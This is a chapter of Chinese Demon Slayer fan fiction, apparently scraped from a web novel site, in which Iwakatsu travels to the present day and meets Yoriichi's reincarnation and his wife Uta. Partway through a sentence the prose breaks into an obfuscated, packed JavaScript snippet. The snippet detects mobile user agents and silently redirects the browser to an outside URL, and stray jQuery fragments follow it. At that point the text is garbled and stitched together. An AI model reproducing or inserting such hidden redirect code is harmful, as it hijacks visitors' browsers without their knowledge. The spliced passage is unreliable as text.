66.第 66 章

作品:《[鬼灭]拐跑六岁的兄长

    【本章存在诗的戏份,现代转生Pa】


    自那天之后,九柱——除了水柱,开始了对剑士们的严格训练。


    连带着他们自己,也在适应新科技武器。


    或许以后会看到九柱一边背着全自动步枪一边用日轮刀战斗的场景吧。


    炭治郎在锻刀村一战中伤得不轻,因此无法立刻参与柱训练。


    不过他也没闲着,主公大人拖着病体,让天音代笔写了一封信,拜托炭治郎一件事。


    开解他的师兄,富冈义勇的心结。


    “我真的能做到吗?”


    他自认没有主公大人那般触动人心的能力,他的话语能不能敲开义勇先生的心房呢?


    不管能不能,都要做做看才行。


    少年拄着拐,带着如烈阳般的热情,直冲水柱府邸而去。


    从这模样看来,当初炎柱没能将他收为继子确实是一种损失——同时也避免了与水柱反目成仇的可能性,倒也能打平吧。


    义勇与炭治郎会发生如何纠葛,岩胜已不再关心。


    他只需要知道,缘一一直缠着的少年忙其他的事情去了,操控着树林通道的锖兔终于和他们搭上了线,能让缘一乖乖前去猎鬼了。


    想必,鬼之间如今的传闻应该是,日之呼吸的剑士犹如天降,遍地开花,哪儿哪儿都有。


    他们逃都逃不及吧。


    至于这段时间,岩胜也有自己想要做的事情。


    一来就是珠世提到的,协助珠世研制解决斑纹剑士们25岁诅咒的解药。


    岩胜自己并不擅长医术,但他有其他人无法拥有的能力——神隐。


    在整个鬼杀队都尝试过之后,发现多数人并没有主动发动神隐的能力,连能通过神隐仪式离开当前时代的人都少之又少。


    缘一与岩胜曾经多次往返各个时代,逮着遗落各个时代的鬼杀队队员们就赶紧回到大正时代。


    如今大小缘一二人要承担起整个鬼杀队的灭鬼任务,即使是拥有强大体能的他们,也忙到疲于奔命。


    不是身体上的疲劳,而是心累。


    唯一值得庆幸的是,无论是成年缘一还是少年缘一,面对鬼都只需要拔刀便砍即可。


    岩胜打算再次前往令和,与未来的珠世好好讨论一下解除诅咒的药剂如何研制。


    岩胜不知道使用神隐之术会付出怎样的代价,至少现在,这种代价尚未体现出来。


    他非常小心地避免大量使用神隐之术的情况,在代价降临之前,谁也不知道会发生什么。


    以神隐之术配套的寻气之法,寻找世间聚集着异常能量气息的所在,佐以手势、口诀、呼吸法。


    引动天地间丰沛的能量,直至,打破时间、空间的屏障。


    这一次神隐,岩胜没有详细告知任何人,只说缘一忙碌的时间里他想要静静待一阵子。


    他让清辉给有一郎带去口信,让后裔帮忙掩饰自己的行踪一周时间。


    随后,他便没有一丝留恋,踏入了未来的时光中。


    =


    “啊——!你、你是什么人?从哪里进来的小孩……缘一?”


    刚从大正离开,岩胜就被女性尖锐的高音炸得耳朵疼。


    他循声看去,却见现代化的房间中,一名长相温良的年轻女人神情惊恐中带着疑惑,正哆哆嗦嗦地拿着手机,看样子是想要报警。


    他闪身而上,一把夺过手机,按下电源键,将只差最后一步就能拨打出去的电话按灭了。


    女人瞳孔地震,最后的求救手段被夺走,让她害怕得浑身颤.抖。


    岩胜心中轻叹,明白自己随身携带日轮刀的行为,在这个时代是挺吓人的。


    他只能放轻声音,口齿清晰,一字一顿地向对方解释:“我没有恶意。”


    “你刚才喊了‘缘一’,是认识缘一吗?”


    女人确实因为岩胜绅士般的守礼知节——如果不考虑此人非法入室的话——而放松下来。


    “是的,缘一是我的丈夫。”


    女人名为诗,岩胜没有记她的姓氏,左右不是继国也不是时透。


    她与缘一是青梅竹马,从小一同长大,相识十年,刚刚成年便结了婚。


    诗的父母早逝,缘一更是不知自己父母是何人的孤儿,两人最初的生活很清贫。


    但如今已在他们的努力下购买了地皮,建起了二层的一户建,还育有一对双胞胎麟儿,刚刚上幼儿园。


    他们的生活很幸福。


    兄长对于缘一并非必须。


    岩胜闭目,沉淀了心情。


    再睁眼便将手机还给了诗。


    “抱歉,打扰了。”


    他起身,想要给两个孩子留下些什么,却发现自己身上竟然除了大正时期的钱财,并无可留之物。


    如今的时代又不是利用华贵的衣服就能典当钱财的时代——何况他也只有这一身衣物,总不能光着膀子出门。


    沉默半晌,最后只得带着歉意说:“给孩子的礼物,我下次再补。”


    “哎?不、不用的……”


    这话不就是在预告自己下回还来嘛,诗还没弄清楚这个自称继国岩胜的少年到底是何居心,她可不想自己家随随便便就进来陌生人。


    就算和自己的丈夫长得有那么几分相似也不行。


    她的丈夫已经有22岁,这少年顶多13、14岁的样子,想来绝不可能是私生子。


    若是丈夫的弟弟……


    哎?若是丈夫的弟弟?


    “等一下,你别走。”


    诗摆脱了最初家中进了陌生男性的恐惧,立刻情商就占领了高地。


    “你和我的丈夫很像,我丈夫他被抛弃在福.利院,一直以为自己是孤儿。你是不是他的亲戚?”


    “缘一他送孩子去幼儿园了,马上就回来,你只需要等一小会儿,好吗?”


    岩胜哪里肯等,被人抓着胳膊都硬是向前走去,甚至走路姿态都没受什么影响。


    只是女人强行以刹车姿态拽着他,等于被岩胜拖行着,难免有点儿拉拉扯扯的感觉。


    缘一打开门的时候,看到的就是这么一幅场景。


    他睁大了眼睛,看向妻子,又看向与自己长得神似的少年。


    不存在的记忆突然跨越时空涌现在脑海,赤色的眸子瞬间被思念浸.透。


    他甚至连鞋都没换,猛地“砰”一声关上了门,还上了锁。


    岩胜与他四目相对,看着面前一米九的高大弟弟(的转世)潸然泪下。


    是不是每一次见到缘一,缘一都要哭?


    岩胜不知道自己应该感动、生气、心疼或是感慨。


    他感觉到拖着自己胳膊的诗松开了手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040039|191776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    他看着名为缘一,实则已经与自己毫无关系的男人迈步,离自己越来越近。


    那高大的身影,与大正时期的缘一似乎别无二致。


    但平和的生活让这个人带上了柔和的气息,他的与世无争在这个时代如此适宜。


    哪怕过得清贫,只要努力,用劳动创造价值,就能过上好日子。


    如果缘一一开始就是赶上了这样和平年代的普通人,永远不必展现出那惊才绝艳的剑术天赋,是不是他们的结局就不是黑死牟口中所说的兄弟相残、永不相见。


    他是不是就不必日日承受被弟弟超越的焦灼,不必时时体会着自己一事无成的挫败?


    哪怕日月星转、时移世易,缘一的气息依然一如过往,炙热、滚烫。


    岩胜后退半步,手腕却被缘一狠狠攥住。


    生怕他离开似的。


    但缘一并没有先与岩胜说话,而是对诗温柔地道:“诗,你先去上班。我今天请假,晚点会去接孩子的。”


    诗点了点头,看着时间已经不早,急忙拿上车钥匙就冲出了门。


    门再度被关上,这一次却没有一双手将它反锁起来了。


    岩胜自手腕被抓着,视线就落在了抓着自己手腕的手上。


    那双手上也有茧子,却不是常年挥舞刀剑留下的。


    那痕迹对岩胜来说颇为陌生,不知是从事怎样的劳作才会留下。


    缘一的视线落在岩胜身上,从头到脚,细细描摹。


    每到一处,都激起皮肤上一阵细微的刺痛,汗毛都跟着竖了起来。


    待缘一审视完毕,岩胜身上也起了一身的鸡皮疙瘩。


    他试着挣了挣手,缘一顺从地松开了禁锢。


    没再穿着红色羽织的男人蹲下.身,仰视着自己(曾经)的兄长,刚刚就含在眼眶中的泪水终于不受控制地落了下来。


    “兄长大人……”


    不是现代的“哥哥”或是“兄长”,而是这个时代只有年代剧中才会对高位的兄长说出的“兄上”。


    一如缘一在过去每一次,对于岩胜的称呼。


    这一声呼唤带着颤.抖的哭腔,哽咽得几乎发不出声。


    如同那年他尚且还是幼童,缘一问他“兄长若是变了鬼,应该怎么办”,听到他毫不犹豫要求斩下头颅时的反应。


    明明是如此强大的剑士,怎的如此爱哭?


    岩胜的月之呼吸常中都要被他的哭泣声打断了,只得深吸一口气,摸了摸高大弟弟的脑袋。


    “都是两个孩子的爸爸了,怎么变成爱哭鬼了?”


    “这样还怎么给孩子做榜样?”


    眼泪扑簌簌地落下,嘀嗒嘀嗒砸在木质地板上。


    只需稍微了解一些数学便能得知,大正之后鬼才被送入地府。


    此时“缘一”的兄长黑死牟必然还在赎罪,如何能转世。


    缘一与他的兄弟缘分已尽,此世即便有兄弟,也绝非是他。


    “既然已经决定与诗一同走过人生,将我忘了不好吗?”


    就当作从未有过一个作恶多端的兄长,只拥抱自己的幸福不好吗?


    那样神之子既能保持高洁无瑕的神性,又能拥有普通人的幸福,又为何要对他这样失格的兄长念念不忘呢?


    缘一摇摇头,泪水甩落,花札耳饰喀啦作响。